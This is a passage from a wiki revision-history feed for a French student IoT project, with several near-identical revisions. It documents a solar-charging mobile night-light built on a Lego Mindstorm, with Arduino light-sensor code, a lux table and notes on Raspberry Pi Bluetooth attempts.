    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
Pour la liaison entre la communication nous allons utilisé une Raspberry Pi3 qui est équipé d'un module bluetooth. L'Arduino s'occupera de mesurer l'intensité de lumière et envoi des données à la Raspberry Pi par le port série, ensuite la Raspberry enverra des commandes au Mindstorm par Bluetooth. Durant cette séance nous avons pris en main une Raspberry pour installer Raspian dessus, configurer son fichier &amp;quot;interfaces&amp;quot; pour avoir une connexion internet pour télécharger des éléments pour faire marcher la communication Bluetooth. Nous avons essayé durant cette séance d'utiliser la commande &amp;quot;bluetoothctl&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas réussi à réaliser une communication entre nos deux composants avec bluetoothctl, durant cette séance nous avons essayé avec le module &amp;quot;pybluez&amp;quot;. Malheureusement cela n'as pas marché.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46848</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46848"/>
				<updated>2018-01-23T23:35:24Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la troisième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
* Raspberry Pi&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression de la carte et code Mindstorm&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
Pour la liaison entre la communication nous allons utilisé une Raspberry Pi3 qui est équipé d'un module bluetooth. L'Arduino s'occupera de mesurer l'intensité de lumière et envoi des données à la Raspberry Pi par le port série, ensuite la Raspberry enverra des commandes au Mindstorm par Bluetooth. Durant cette séance nous avons pris en main une Raspberry pour installer Raspian dessus, configurer son fichier &amp;quot;interfaces&amp;quot; pour avoir une connexion internet pour télécharger des éléments pour faire marcher la communication Bluetooth. Nous avons essayé durant cette séance d'utiliser la commande &amp;quot;bluetoothctl&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46847</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46847"/>
				<updated>2018-01-23T23:27:57Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Suivi de réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
* Raspberry Pi&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression de la carte et code Mindstorm&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46846</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46846"/>
				<updated>2018-01-23T23:25:51Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Matériel utilisé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
* Raspberry Pi&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
